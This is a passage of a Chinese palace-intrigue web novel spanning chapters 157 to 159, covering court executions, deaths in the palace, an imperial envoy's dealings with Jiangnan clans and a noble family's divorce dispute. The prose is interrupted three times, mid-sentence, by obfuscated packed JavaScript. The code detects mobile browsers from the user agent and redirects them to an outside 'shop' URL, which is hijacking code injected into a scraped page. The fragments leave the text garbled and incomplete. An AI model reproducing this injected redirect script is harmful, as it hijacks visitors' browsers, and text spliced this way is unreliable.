官差们押佟图匡和佟振羽兄妹出京服役,三天半走出一百二十里,佟振羽和佟蓁蓁时而认命像泥偶般任由被牵着走,时而疯癫像着魔般闹腾,不狠狠暴打不能消停。这会儿晌午,官差们靠在树下就水吃个烧饼,这兄妹俩又发疯了,这还是铁链锁着呢。 两个官差吃完烧饼,一人一个把这对兄妹拎出来暴打,直打到佟振羽倒地抽搐。 佟图匡靠着树撕馒头吃,隔几个时辰就闹回,看多了早平淡了。 官差们打得差不多了,把佟振羽和佟蓁蓁拎起来跪着,一名官差抽出长刀,在吃馒头的佟图匡僵住,浑噩晕眩但还有意识的兄妹俩和佟老头都惊悚起来—— 他们要做什么? 两刀砍下,两颗人头落地,鲜血溅过佟图匡,他像石雕全无所觉,一名黑衣人冒出来把这两颗头颅装匣带走,两名官差看向佟老头,佟图匡也望着他们。 “哎,走吧,记得月底要报上去的,佟老头滚落山涧,摔死了。” 两名官差说着话离开,佟图匡愣得反应不过来,佟梦佶和佟梦如藏在繁茂草丛中,看他们走远消失了,跑出来给老父松绑,扶父亲离去时佟图匡猛一个激灵,他不能走、不能走,佟梦佶忙宽慰:“爹您放心吧,圣人和陛下都知道的,您莫怕。” “是,霁之?”佟图匡声音轻忽,佟梦佶肯定,佟老头眼酸得,转向死去的那对外孙,佟梦如顺着看眼就移开视线,多一眼都不敢看,佟梦佶都受不住多看。 “霍家有死士过来,给陛下过目之后,霍枫叶会来收殓。” “陛下?”佟图匡愣下那么想笑,他竟全然忘了,是皇帝呀。 佟老头趔趔趄趄地被儿女扶走。 一百多里,不必快马加鞭,在太阳落山前都够送到御前了,嬴忱璧在看护国公的奏报,昌隆侯在北境的爪牙今天也送入京了。皇帝看过这两颗头颅,让带走吧。 关雎宫中,霍灵渠倚栏看落日,三皇子站到她身边,她问:“哥哥呢?” “哥哥看书。” 霍灵渠抬手摸摸小孩的额头,把三皇子抱起来。 今天是八月十四,果然是中秋前呀。 中秋,霍灵渠给新入宫的嫔御每人送三十两白银、两匹丝绸、两罐花茶、一匣绢花,嘱咐宫娥让她们不必来谢恩了。 楚美人身边的胡姑姑来关雎宫请求霍贵妃,让二皇子和三皇子在中秋和楚美人聚聚,霍灵渠没理会她的影射,让她把两个小孩带走。 独自在寝殿,霍灵渠把贝壳布包拿出来,摊开,安安静静做个贝壳风铃。 一时不慎敲到手指,没擦破皮,霍灵渠也疼得几欲哭泣。 贝壳风铃做好,她把风铃挂在窗边,抱着软枕看着,神魂好像都要飞向天边。 三岁小孩哒哒跑进来,小脸既委屈又像在生气,杵在霍贵妃身边看着她,也不说话,霍灵渠闭目醒醒神,藏起难受问他,哥哥呢?小孩说哥哥看书。 “还这么小的孩子,整日看书都要把人看傻了。”霍灵渠展笑道:“我们找哥哥,一起去摘桂花做桂花糕,酿桂花酒,然后送给父皇,再向父皇要两盏花灯来,好不好?” 小孩又不说话了,就看着霍贵妃,霍灵渠把小孩抱起来,带他去找他哥哥。 嬴忱璧带着花灯来时,俩小孩忘掉不愉快,在桂花树下兴高采烈。 皇帝在一旁看会儿,笑意温柔。 入夜赏月,霍灵渠望着皎洁的圆月,不知月中仙子何在,但愿蟾宫寄平安。 晏霁之抵达江南,独坐水池畔,自斟自饮。 157. 第157章 中秋夜,银盘皎皎,朱檐似染霜。 因两位小公主去世未久,皇宫中没有宴饮,但出门赏月,不张扬自是不限制。 皇帝和霍贵妃带着三位小皇子去长春宫陪太后用晚膳、赏月,新入宫的嫔御们谨慎,都没有出各自的殿阁。 翁嫔想她的小皇子,和喻美人去湖边走走就先回了,中秋夜,还是要数太妃们有兴致,四十多位太妃,三十多位都出太妃宫苑了。 喻美人踏进霓采殿见众位太妃,欲走,被拉住,既然来了,一起赏月吧。 夜伴着团圆的想念淌过星月隐没,夜深寂寥,关雎宫中烛泪戚戚,两个小孩知晓明天就要出宫,闷闷不乐,霍灵渠哄他们安寝,二皇子闭目躺好,三岁的三皇子一直不愿意闭眼,好似只要他睁着眼睛不睡觉,明天就不会到来,直到困倦得撑不住才睡着了。 嬴忱璧放下书卷,去熄灯,霍灵渠走到皇帝身侧,有话想和皇帝说。 皇帝随贵妃走出内室,霍灵渠道:“我瞧着,二皇子的心思似有些重了,才五岁呢,不该这样沉闷的,可我若劝他不要总是闷头看书、多陪弟弟玩耍又恐遭人非议,你劝劝他吧,住到谷王府以后不要给自己压力,小孩嘛,活泼开朗些才好。” 嬴忱璧嗯道:“皇儿是觉得他若读书读得好,楚美人能晋位,他们能回宫了。” 霍灵渠瞥过皇帝,低低头,嬴忱璧没有隐晦:“朕是又对楚美人恼怒,”皇帝戛然而止,寝殿门微启,宫女进殿禀告:喻美人和朱太妃失足掉入荷花潭,双双殁了。 霍灵渠惊讶看向皇帝,嬴忱璧皱眉,让宫娥退下。 “夜半布置灵堂,辛苦贵妃了,让谷王夫妇明日巳时再进宫吧。”嬴忱璧沉吟道:“朕这就派人去给太上皇报信,让步昂彻查,天亮前应能查出来,贵妃莫忧心。” 皇帝进内室换衣袍出门,霍灵渠按按太阳穴,重新梳妆。 翁嫔赶到喻美人的灵堂亲眼见过仍然觉得不可思议,她刚睡下,婢女唤醒她,跟她说,喻美人殁了,她只觉得天方夜谭,怎么会?明明两个时辰前还好好的人呀。 “贵妃?” “夜深了,守上两刻钟,去朱太妃的灵堂祭奠过,大家就都回吧。”霍灵渠沉郁叮嘱:“明早文郯侯夫妇进宫,你陪陛下宽解宽解他们。” 好像有风灌进来让翁嫔显得格外单薄,翁嫔心酸酸涩涩,应是。 步昂统领查清楚情况,天明,禀告陛下,皇帝还在关雎宫,当下就告诉贵妃了。 是太妃们。 文郯侯详查早稻是被昌隆侯盯上,许多人看出来了,文郯侯回京,太妃们就盯住了,获知昌隆侯夫人让喻美人做的事,太妃们把消息送给朱太妃,目的很明确:若是喻美人得手,她们报仇;若是朱太妃除掉喻美人,她们再站出来钉死朱太妃,一样报仇。 霍灵渠望着风铃出神,三皇子跑来,她把小孩抱起来。 日头高照,谷王夫妇奉命来接两位皇子,皇帝派一百名禁军随同,霍灵渠嘱咐谷王妃,两个皇子住谷王府之后让他们兄弟同住一间寝屋,对小辈们毋须拘束。 二皇子沉闷,三岁多的三皇子倔强看着霍贵妃,霍灵渠哄他俩,今后让谷王府每个月送你们进宫来和父皇还有楚美人见面,过年和大暑还会接你们回宫住半月。 两个小孩都没理会,他们哪想要这个,他们不想出宫,不想养在谷王府。 “去和楚美人告别过就随叔祖父叔祖母走吧,住谷王府后,若有不适应、有什么想要的尽管和府上说,或者打发人回宫来告诉父皇,都可以。”霍灵渠话落,三皇子快挂泪珠了,霍灵渠把小孩抱起来,吩咐备轿:“你们乘轿辇去翡素轩吧。” 五岁的二皇子仰头看父皇,嬴忱璧牵起皇儿的小手,带孩子出门。 数千里外,两位钦差迈进巡抚衙门,未久,江南蓝家少爷蓝遂拜访,还带着两位美人,一位是江南第一名妓,一位他自称是他义妹,名唤汪撷,按他的说辞:“霁之你不嫌弃,在江南期间留她们在身边传唤,若还能让你相中是她们的造化。” 晏霁之怀疑:“单给我送不给滕王安排,你不是故意想挑拨我们吧?” 蓝遂一拍脑门朗笑:“看看看,我发昏糊涂了,我这就——” “哎不不不,我不用。”滕王拒绝。 “你真想给我送几个人,应该送十个八个来让我挑吧?”晏霁之挑剔。 “是我糊涂,我即去再安排些人过来。”蓝遂爽快,不过待他带人过来,晏霁之看过,留下的仍是人家最先送的两位:“这些时日,有劳二位姑娘了。” 蓝遂告辞,府衙婢女领这俩人去安顿,滕王无奈:“这两个摆明是眼线。” 晏霁之无所谓:“闲来听个曲儿,看个歌舞,人家愿意送,收就收啊。” 滕王恭维:“你真有闲情。” 看过住处的汪撷姑娘折返来请安,滕王利落地走掉,汪撷进屋,向钦差施礼。 “撷,作何解?”晏霁之让汪姑娘坐吧,距离他一丈之外。 “愿君多采撷,此物最相思①。”汪撷优柔婉约,偏似又有股惑人迷醉的味道。 “蓝遂真不该想把你送人。”晏霁之说。 “我十岁进蓝家,六年了,蓝家花费许多心血,总要讨回来的。”汪撷捋捋耳畔青丝:“他以一千两的价买酒靡儿三个月,想来我还挺值钱。” 晏霁之闲侃:“看得见自己的归处吗?” 汪撷眉目闲淡:“他原想将我送给昌隆侯世子,近来好像又改主意了。” 小厮报,酒靡儿姑娘来给钦差请安,晏霁之遂让汪姑娘一同走吧,汪撷告辞。 巡抚有给钦差备酒宴洗尘,扬州城大小官员和邻近州府的官员都来了,晏霁之自己不去宴上把滕王推出去了,滕王不是有意见就单纯问问:“你为何不去?” 晏霁之递卷纸笺给他,滕王接过一看,差点呛到:“你疯了?” 这什么呢,要求江南大小豪族按照百年或五十年前朝廷丈量他们各家所拥有的土地,把扩展的土地交给朝廷,这都不是在扒皮了是想活生生宰人家半副血肉,嫌活腻了吧,滕王自觉他若是把这东西拿出来,他们俩不被人打死他都要奇怪了。 晏霁之劝:“不论我们标什么价都会被还价,标价越高对我们才越有利。” 滕王思量下被说服了,是这么个道理,反正对方肯定要还价。 托晏霁之的福,江南几家豪族的年轻一辈当夜会面协商,边从杲发飙:“晏霁之疯了,我看他能怎么把这东西推行下来,逼得整个江南倒向昌隆侯又如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459349|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你想去和郗猷做邻居?”姚伉恢轻飘飘压住:“南疆、安西、北境、辽阳,哪里能被朱家趁虚而入?朝廷若是大军压境,这一地醉生梦死的奢华能扛得住?” 边从杲一噎,没好气道:“我就不信你受得了这种条件。” 陆兼猜:“晏霁之的本意不会是这个,他应该在等着我们还价。” “那也没这么离谱的,他什么意思,给我们下马威啊,这里是江南,能由得他逞强?”牛湃冷笑:“还价?就是要被他牵着走咯,这种羞辱,我们若都接下来还能不被笑掉大牙、还能挺得起腰杆,合着届时被受尽嘲笑的没有你陆兼啊?” “朱芑适过不了几天应该也快到了。”蓝遂告诫:“咱们今夜避开了亲近依附朱家的几家总不是来商量要不要倒向昌隆侯,那还费什么劲,把钦差和巡抚抓了送给朱芑适,明明白白把我们的态度摆给朝廷看,把江南送给朱家,你试试?” 牛湃火爆地差点想摔杯。 “亲近依附朱家的那几家有没有想脱离朱家的?”陆兼意识到:“假若他们当中已有人想脱离朱家,接受这条件,晏霁之各个击破,我们进退维谷?” 几人异口同声:“不会吧?” “没看见郗家的下场吗,谁看不懂?一家满门的生死,相比起来,孰轻、孰重?” 陆兼眼底飘进丝阴翳:“看住他们,绝不能让他们反倒逼我们。” 隔天夜里,滕王被带到船埠,他怪道:“我们三更半夜来码头做什么?” “是啊,我一把老骨头可比不得你们年轻人,逮着我折腾太不道德了。”霍绥业抱怨,滕王见到他诧异了:“你怎么在这儿,我们是要来谈事情吗?” 晏霁之解释:“他管漕运。” 霍绥业撇撇嘴数落:“多正大光明的事啊还得偷偷摸摸地干。” “我们要做什么?”滕王感觉自己纨绔做久了真像个纨绔了,啥都不知。 “运粮,一百万石粮食。”晏霁之正色道:“昌隆侯就快要反了。” “今年?”滕王惊奇,霍绥业一副嬉皮笑脸的不羁:“当然今年,就两三个月的事了,可能都没有三个月,他撑不到11月他就得扯虎皮了。” 滕王有点口干舌燥,霍绥业指派:“赶紧去督促他们装船运粮,这可是你们自家的事,你一个纨绔刚接差事不能摆谱,不然你以后办差事容易被蒙蔽。” “哦好好。”滕王一溜烟蹿出去,晏霁之看向霍绥业:“您有话和我说?” 霍绥业哼哼:“我收到封京里的飞鸽传书。” 晏霁之泰然自若,霍绥业调侃:“你离京前就没给自己留个种?” 晏霁之乐了:“三叔祖果然是霍家最不正经的。” 霍绥业装腔谢绝:“不要和我攀亲戚,咱还不是亲戚呢。” 晏霁之柔和浅笑:“留下媳妇了,是亲戚。” 你真不怕死?霍绥业话到嘴边,忽然有些说不出来,他可以给自己留个种,让霍灵渠给他留个种,他此行若是遇难,灵渠必会保住胎儿,他可以做得到的。可,他若想给自己留种又何必费心思给昌隆侯送那份礼?那么也就没必要多言了。 “忙吧,得忙活几天了。” “好。” 江火不眠,月没星稀处,人忙碌。 158. 第158章 八月二十一,皇城早朝,桓国公请求入朝,状告恒山王,宣告与恒山王府断亲。 江南,海禁预告发布,自腊月起禁商船出海,整顿沿海走私;不禁渔船,沿海渔民捕捞不在此列;正徽十年重开海外通商,谨告诸商贾莫因小利妄生事端。 府衙派出官差飞骑跑往各地奔走相告,滕王和巡抚一起应付涌来的诸多商贾,晏霁之又烦滕王数日内在方圆二百里请二十位江南巨富,他自己则牵马出门了。 在闹市寻至一处僻静宅院,晏霁之向门童递上名帖,小童拿名帖禀告过,迎客入堂屋。 走过流水潺潺,竹林清幽,小童奉过茶水退下,晏霁之静坐片刻,看见西墙挂着幅名画,他站起来去画作前观赏,一个声音从背后传来:“这是假的。” 晏霁之没回头:“是真的。” 背后的声音坚持:“是假的,此画是我临摹的。” 晏霁之反而比他肯定:“你临摹的画作放在离你最近处,这幅是真的。” 孟怋乂笑了:“你知我已久,我却不知你知我,我还是头一遭遇上这般奇妙事。” 晏霁之转身,二人会面,孟先生赞:“果然是美貌不允许低调啊。” “见笑了。”晏霁之微微颔首,孟怋乂道:“是原点吧。” “我相信是,但毕竟…只是推测,没有验证过。”晏霁之走向客座。 “可惜啊,世人多愚昧。”孟怋乂自讽:“二十年前,我慷慨激昂,想将来要出将入相,造福百姓辅佐君王缔造千秋盛世,我还真的入仕过几年。” 晏霁之垂眸:“我知道,你于九年前辞官归隐。” “一点修补就想扭转这已深入骨髓的堕落?”孟怋乂冷笑:“痴心妄想。” 晏霁之不语,孟怋乂目光如炬:“唯有杀之,斩草除根。” 晏霁之仍旧未语,孟怋乂标榜:“我可做良相,济世安民。” “你若能掌权,你做的只会比你看不上的那些人还要差之远矣。”晏霁之洞悉道:“你只想独断专行,但凡是你不喜的,忠义之士,你都容不下。” 孟怋乂未置可否:“梅斗在京中约你会面,你甚是温和,是霍枫叶对他说,悬崖勒马,犹未晚矣,自然是你没把梅斗看在眼中,他帮不帮昌隆侯对你无所谓。”孟怋乂好整以暇:“那么我呢?你今天是来摸我的底还是想来招揽我?” “想来就来了,没那么多想法。”晏霁之率性得还递给他半个石榴。 “你我可携手。”孟怋乂接过石榴。 “你擅长找反骨,不要做你不擅长的事。”晏霁之提醒。 “你已经没有退路了。”孟怋乂反提醒。 “你不是在赌命?”晏霁之反问,孟怋乂有种说不出的感觉,晏霁之相容道:“你在做你想做的事,我做了我想做的事,你不该劝我,就像我不曾劝过你。” 孟怋乂沉寂半响,追问:“你们是怎么发现的?” “你没有复查过当夜的情形吗,虢王撑不起你的计策。” “四个月了。”孟怋乂好笑:“居然是四个月前。” 晏霁之没有多留,告辞了,孟先生送出门,晏霁之将走时一怔,浮现出个念头,孟怋乂没打扰人家思绪也无好奇心就转身回了,晏霁之望着眼前宅院,神思难辨。 陆兼走近,晏霁之转向看他,两人走过繁华,踏入荒凉。 郗家人尽被抓捕入狱,短短几天,郗府入目已是凋敝,陆兼也没甚触动:“郗猷进京,没几个看好,贸贸然进京就想博到个前程,这么容易还能轮到郗家?” 晏霁之赞成:“没有郗家的例在前,你们对我也不能这么客气吧?” “你要的是太狠了。”陆兼措辞很温:“你这么蛮干,你会把江南毁掉。” “是损及你们。”晏霁之纠正,陆兼仍好言:“霁之,我们认识五年了也不是才一两天,我知道差事办砸了你在陛下面前不好做,但你们真的不能把人逼这么狠。” 晏霁之注视他,弯唇笑:“你能做陆逊,朱存焳能做孙权吗?” 陆兼一脸烦闷状,晏霁之往前几步,陆兼暴躁吼:“让他死不行吗?” “出来!”晏霁之盯着假山,陆兼警觉看去,一位娟秀女子缓步走出,二十多岁模样,她浅浅一施礼,从容不迫:“大公子,我是在你们之前来的,听说,钦差下江南不是要扒掉江南商贾一层皮而是要把我们放在油锅里煎,我便想来郗家看看。” 陆兼介绍道:“这位便是钦差,这是蔡家商行的少东家。” 蔡藕菩屈膝施礼,晏霁之冲这位颔首,与陆兼告辞。 他走远,陆兼看向蔡藕菩,蔡藕菩发誓她什么都没听见,陆兼没管,随即离去。 蔡藕菩头疼,当前难处是皇帝觉得昌隆侯要造反,太上皇不信,皇帝没法处置昌隆侯,而昌隆侯若想造反则江南首当其冲,皇帝不想便宜昌隆侯,所以想把江南之富收归入京中?江南会否起战祸又全受制于昌隆侯还没人能在他造反前让他死? 晏霁之回到府衙,滕王找过去疑惑:“怎么还没人来还价,咱们要那么高的价就是等着他们来还价嘛,他们不是这都不懂吧,不然派人去提醒他们一下?” “你亲自去吧。”晏霁之建议。 “也行。”滕王说走就走,下刻,顾效进屋来。 “你不在润州,来扬州做什么?”晏霁之不想欢迎老朋友的样子,顾效理直气壮哼:“来请钦差吃酒啊,邻近州府那么多官员来了,我不能来?” 晏霁之笑:“他们可不在军中。” 他坐着矮椅呢,顾效踹矮椅让他挪过去些,坐下道:“我收到京里的信了。” 晏霁之揶揄:“你兄弟在太微宫当值都这么闲?”神策军顾统领就是顾效兄长,顾效叹:“你想验证你的算术超乎神技,怎么验不行,非得把自己往里搭?” 晏霁之责备:“你少给我乌鸦嘴,我可是还要娶媳妇的人。” 顾效被气笑了:“你了不起了,你还是要娶媳妇的人呢。” 晏霁之把百合银耳羹推给他:“来,给我验验,有没有人想害我?” 顾效差点想瞪他,掏出几张纸拍给他:“郗家和金陵府尹送给霍绥业的,郗猷再晚几天入狱就得把霍绥业卷进去了,钉死霍绥业再咬死霍家,这连环计不是一般的大。侯瞻逊和他这大妹夫应该是一起搭上昌隆侯的,武襄侯这当家人做的,”顾效摇头。 “一起?”晏霁之微怔:“若兄长和丈夫一同行事,做妹妹的能不知道,女儿知道了,当娘的能不知道?这位升平大长公主早瞒着武襄侯上昌隆侯的船了?” 顾效怔下,捋一遍,直想喘喘气,略过道:“你的差事怎么样,还没有人来还价应该是不会有人来了吧?陛下接下来必会对昌隆侯步步紧逼,昌隆侯忍不了的。 他一造反就让他死在广南,战火烧不到江南,朝廷还想借题发挥就不只是江南的事了,陆兼肯定已经想明白了,拖住你几个月,这事就算过了。” “半个时辰前我见过他,他的确是装得还像束手无策。”晏霁之把这几张纸放在桌案,看着眼前的人,冒出一个想法来,顾效说:“你一脸想打我主意的表情。” 晏霁之深以为然:“与朱存焳不和的朱家人有没有找过你?” 顾效抗拒:“人家找我作甚?” 晏霁之给出答案:“你兄弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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侯瞻渥从老父有小妾以及将有庶出的震动中恢复,在家休养过几天,再去太微宫发现人被关在地牢,炸锅了,他刚把人救出来,又被关进牢里?!侯瞻渥跟他太上皇舅舅闹起来,他爹娘去接他,他几乎又被绑回家,回到家即被老父杖打禁足。 但,武襄侯忙啊!侯瞻渥被老父杖打时就因升平阻拦而只挨了几板子,才打几板子,他几天就好得差不多,闹闹他娘就瞒着他爹出府去了。近日更是,他媳妇病倒了,他是天天往太微宫跑就差在铁牢外搭个窝了,偶尔还要嘀咕太上皇铁石心肠。 武襄侯至今被蒙在鼓里。 太上皇对于侯瞻渥这个事没对武襄侯训话,外人就谁都没有告诉武襄侯,武襄侯的儿女和孙辈们在侯夫人升平大长公主的带领下隐瞒武襄侯,下人们也都瞒着。 “武襄侯是当家人,将侯瞻渥禁足而已,竟然能闹出这种笑话?”嬴忱璧好笑:“这些儿孙可还有一点对父亲祖父的敬意,侯家竟已糟糕至此?” “陛下是在想,若是皇帝被臣下蒙蔽,就是这种情形吧。”霍灵渠忖度。 嬴忱璧点头:“朕,是很有感触。” 霍灵渠铺好地铺,走到床边坐,把还没有睡意的小婴儿抱起来,探析道:“单单说侯瞻渥这事,武襄侯没有责任吗?我是觉得根源在于他,一样是大长公主和驸马,平原还比升平脾气坏多了,可这样的事,平原敢做吗,平原又做得了吗? 是武襄侯对家眷秉性不清楚,连对下人都没有威慑,整个侯府,他这个当家人反倒没人把他当回事没人惧他,谁之过,还能不是他自己吗?因为下人们都懂可以得罪他,但不能得罪侯夫人和未来的当家人,可笑武襄侯还没把爵位传下去呢。 更甚者,武襄侯府还得全仰赖他,侯家至今没有出众的后辈能够代替他撑起武襄侯府,这样一位当家人,家眷下人都能不把他当回事还能不是他自己之过?” 皇帝若有所思,霍灵渠补充:“我没有影射你。” 嬴忱璧:“……” 皇帝心说:我都没有想到我自己。 159. 第159章 秋高云淡稻飘香,霍擎进皇宫看女儿和孙女,还带着霍桑柔和小祐娃娃。 晨辉照耀橘树,黄澄澄的柑橘若一盏盏小灯笼挂枝头,在丰收时节,散发迷人的色泽。霍擎仿佛都因秋的馈赠暖洋洋的:“霍秦川去太微宫禀告圣人了,让庄氏和两个假冒货死,这笔账可以就算过了,还可以等晋王回来让晋王和庄氏见最后一面。 只是武襄侯府,真犯不着因此结仇,老臣已让霍海啸请武襄侯过来,太后,您带武襄侯和霍海啸去趟太微宫吧,把升平大长公主也请过去,在圣人面前做个决断,假若武襄侯夫妇铁心要保这个儿媳妇要与霍家结仇,咱们也仁至义尽了。” 霍太后嗯声。 霍灵渠在剥石榴,眼神微闪,小祐娃娃坐姨母怀里,捧着碗吃糖水栗子,霍桑柔跃跃欲试扯她姐姐,霍灵渠递碟剥好的石榴果肉给妹妹,否道:“你会害怕的。” 此语除小祐娃娃外自是就霍桑柔没懂,她保证:“不会的,姐,我就是把她们剁成八段都不会害怕的,姐你答应我吧,反正都要死了,让我们亲自报仇又没差。” 霍灵渠失笑:“太上皇若想给她们留个全尸呢?” 霍桑柔:“……” 啊啊啊!霍桑柔郁闷盘算怎么趁老太婆死前多暴打她几回。 霍海啸请武襄侯过来,是随皇帝过来的,武襄侯老脸沉重,大概是怎么也想不到,能有全家合伙蒙蔽他这种事? 霍灵渠看她大哥,想到侯瞻让。 太后带侄儿和武襄侯去太微宫,皇帝送过太后,笑问贵妃在想什么? “侯瞻让。”霍灵渠道:“我在想,娘偏心,爹不偏心,相较于母亲,必定是父亲对他的疼爱多,怎么侯瞻让反而能向着他娘?就是想讨母亲的欢心吧。 可在父母之间,他就是十回里十回都背离父亲向着母亲,他娘都不会多看他一眼,人,是不是许多都难在意珍惜自己拥有的,偏要去想得不到或者没有的?” 皇帝叹息,霍桑柔爽利:“姐,这种人就是贱骨头,没什么好想的。” 嬴忱璧:“……” 霍擎忍笑,请陛下走走吧。 霍灵渠带桑柔搬石头和锦凳来摆在橘树下,她抱着小祐踩在锦凳上摘橘子,霍桑柔捧着竹篮在树下接着,这样欢快之景,嬴忱璧看过会儿才和老国公去湖边走走。 “朕对这位升平大长公主都有些不可思议了,想结多少死仇啊,竟能这般放纵侯瞻渥,她看不懂圣人的态度,她和她众多儿孙都看不懂圣人之意?是圣人恼怒厌恶她都察觉不出,还是她真的骨子里就想为所欲为不受任何拘束?” “庄太妃应该会和郢国公谈想见见幼女,郢国公当会蛊惑侯瞻渥劫狱。”霍擎揣摩道:“老臣想求陛下给个恩典,侯瞻渥若劫狱,让他把人劫走吧。” “好!” 怕皇帝误会,霍擎补充:“老臣是想找座地窖把他们两个关进去。” 嬴忱璧果然诧异了:“老国公若嫌侯瞻渥闹腾,让他卧病一样能清净吧?” 霍擎笑:“陛下,您看房祯毅,娶妻前多深情啊。” 嬴忱璧微愣,霍擎恭维:“这样深情的小相公,该让他们日日夜夜相对嘛。” 话锋一转,霍擎嗤讽:“在地窖里日日夜夜相对!多好,一刻都不分离了。” 嬴忱璧哑然。 若自己都受困厄,侯瞻渥还会坚持要这个媳妇吗?不可能了吧,是侯瞻渥就还没感受过硬想要这媳妇会给他带去多少困苦,所以才至今不当回事。 “不过,陛下,老臣今日进宫并非为武襄侯府,霍秦川去太微宫也是借此做个幌子。”霍擎道出真正的来意:“晏霁之在江南的动作,陛下收到消息了吧?” “嗯。”嬴忱璧反问:“老国公以为他行事有何不妥吗?” 换言之,皇帝没看懂,霍擎唉:“陛下相信他要那么高的价是为让对方还价吗?” 嬴忱璧莫名:“老国公,何意?” “按晏霁之的条件,还价不相当于被他追着打,江南的大小豪族能受得了这种窝囊?他们最可能的做法是置之不理,拖住钦差,拖到昌隆侯造反便可迎刃而解。”霍擎意味深长:“可,若是昌隆侯和他座下幕僚猜到江南豪族的意图?” 嬴忱璧微怔,一股惊绝之感滚滚涌起。 “四千人,能生多少乱?一样的,四千人,难道会没有人能想到?不过,”霍擎估摸:“或许昌隆侯和他的第一幕僚不必谁提点就会预判到了,毕竟,这些人想拖住钦差不难猜,既不难猜,那么猜他们的意图自是手到擒来。” 而此局精妙就在于,这是个阳谋,江南一众豪族堪破了都是无解。 嬴忱璧很感叹,但没有懊恼他未想到,反受勉励:“朕是粗心了。” 霍灵渠送柑橘来给她祖父和皇帝,皇帝看着贵妃柔情蜜意:“朕记得贵妃喜欢吃螃蟹,润州的螃蟹下个月该肥了,朕寻几个大厨给贵妃做蟹酿橙,可好?” 霍灵渠:“……” 年轻人就是能心血来潮,霍擎:他老人家走吧。 霍秦川在太微宫看戏,武襄侯和侯瞻渥碰面,侯瞻渥下意识躲避他爹的瞪视,下一瞬又昂起头一脸‘我没错’,霍家请武襄侯表态,武襄侯让侯瞻渥和离。 侯瞻渥立时就炸了。 武襄侯不再优柔寡断,请圣人传宫婢备笔墨,侯瞻渥不肯写和离书,他来代写,一样。 太上皇传令备笔墨,侯瞻渥这个窝火啊,怎么闹他爹都没用,想闹太上皇又被霍海啸挡住。 笔墨送来,侯瞻渥抱着他爹的手臂死活不让,武襄侯请霍家搭把手。 霍海啸缚住侯瞻渥的手腕按在后背,侯瞻渥挣脱不得气冲房梁了,升平大长公主赶来,霍海啸松手,侯瞻渥甩掉霍海啸,去找他娘告状。 升平握握儿子的手臂将孩子护到身后,给圣人和太后请安,她请过安,武襄侯把侯瞻渥的和离书给夫人过目。 侯瞻渥有他娘在,底气也足了,抢过这和离书撕掉。 霍秦川啧啧想给小伙鼓掌,武襄侯盯着幼子,侯瞻渥梗着脖子,才不惧他爹。 升平大长公主没看丈夫,把幼子拉到身后再护着些。 霍太后优雅藐视:“大姐来的正好,你劝劝瞻渥吧,莫再瞎胡来了。” 侯瞻渥一个正脸都懒得给姓霍的,升平赔笑:“圣人、太后,强拆婚姻终究有伤天和,瞻渥小夫妻俩情重没有和离之意,圣人、太后垂怜,就成全他们吧。” 霍秦川瞥瞥武襄侯,这位大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459351|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长公主得是什么想法呀,她懂太上皇的意思,但她不在意,她自觉她是长姐就该有脸面逼退太上皇? 武襄侯都多打量夫人几许。 “成全?”霍太后被无耻的气笑了:“本宫才知道大姐脸这样厚,这等深仇大恨,霍家一退再退都只要三条命就罢休,你居然还能有脸跟我说,成全?” 升平咬牙忍住难堪,侯瞻渥对呛:“太后你就看我娘好欺负是吧,是霍家想滥杀无辜,你们要报仇跟我阿柔有什么关系,我们又不是拦着你们杀庄太妃?” 庄太妃一死,你媳妇还能当没事人,你又能不帮衬你媳妇? 在大殿里做木桩的顾统领和几名宫人瞧这位侯四爷,你还不如说就是要跟霍家你死我活反倒不会让人低看。 霍太后俨然问:“大姐你是定要与本宫和霍家做死仇了是吗?” “臣妇只想求圣人、太后垂怜,可怜这世间有情人。”升平跪下,引得众人尽注视,霍海啸看,这是自觉她都跪下了,霍家还要咄咄相逼,太上皇还不肯体恤,她就占理了? 侯瞻渥要扶他娘起来,扶不动,怒气冲天:“舅舅,圣人舅舅,你说句话呀! 反正大家心照不宣也无所谓捅不捅破那层窗户纸,阿柔可是你的亲女儿,你真要看着霍家杀害你女儿吗?霍贵妃和霍桑柔不都好好活着已经苦尽甘来,说到底,霍家当年的大火、那场阴谋就死了一个人而已,现在赔两个还嫌不够吗?” 太上皇没有言语,武襄侯看夫人未抬头,默认了对抗,霍海啸站出来道:“大长公主在江淮有三万亩上好的水田,你能把这些田地交出来吗?” 武襄侯有感震动地看向霍海啸,此事,他闻所未闻,霍海啸道:“这些田地记在你们的长女和大外孙名下,至于是谁掏银两来置办的,我就不知道了。” 升平大长公主抿唇稳住身影,武襄侯攥起拳头,侯瞻渥大骂霍家不要脸。 大殿中骂声响彻,宫人们看着都想笑侯瞻渥和他娘没脸没皮了,你们还要不要脸做人,谈买卖要付账的,霍家愿意谈了,你们一点钱财不想出就妄想要霍家退让? 霍秦川估摸着侯瞻渥是认为霍家想抢他娘的财物而由衷觉得这是不要脸? 悲哀啊被亲娘害得,升平是自觉以她的脸面,谁都该给她脸面。 武襄侯站到妻儿面前:“夫人,站起来。” 